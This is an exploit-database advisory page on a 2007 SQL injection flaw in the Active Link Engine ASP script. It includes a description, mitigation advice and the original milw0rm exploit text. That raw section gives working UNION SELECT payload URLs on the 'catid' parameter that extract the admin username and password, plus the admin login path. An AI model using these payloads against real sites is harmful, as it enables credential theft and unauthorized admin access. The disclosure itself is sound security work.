Active Link Engine Remote SQL Injection Vulnerability

vendor:

Active Link Engine

by:

CyberGhost

7.5

CVSS

HIGH

Remote SQL Injection

CWE

Product Name: Active Link Engine

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

Active Link Engine Remote SQL Injection Vulnerability

The Active Link Engine script is vulnerable to a remote SQL injection attack. An attacker can manipulate the 'catid' parameter to inject malicious SQL code and retrieve sensitive information from the database. The attacker can also bypass authentication and gain unauthorized access to the admin panel.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user input and use prepared statements or parameterized queries to prevent SQL injection attacks. Additionally, the vendor should release a patch to fix this vulnerability.

Source

Exploit-DB raw data:

#Title  : Active Link Engine Remote SQL Injection Vulnerability
#Author : CyberGhost
#My Web Site : http://aspspider.org/cgsecurity
#Demo Page   : http://www.activewebsoftwares.com/demoactivelinkengine
#Script Page : http://www.activewebsoftwares.com/productinfo.aspx?ProductID=7

#Vuln.

#Username : /default.asp?catid=-1+union+select+0,adminname,2+from+admins%20where%20adminid%20=%201
#Password : /default.asp?catid=-1+union+select+0,password,2+from+admins%20where%20adminid%20=%201

#Admin Login : /admin.asp
====================================

Thanx : redLine - Hackinger - Liarhack - SaCReD SeeR - MaTRax - KinSize - BolivaR - kerem125 - by_emR3

And All TURKISH HACKERS !

# milw0rm.com [2007-03-21]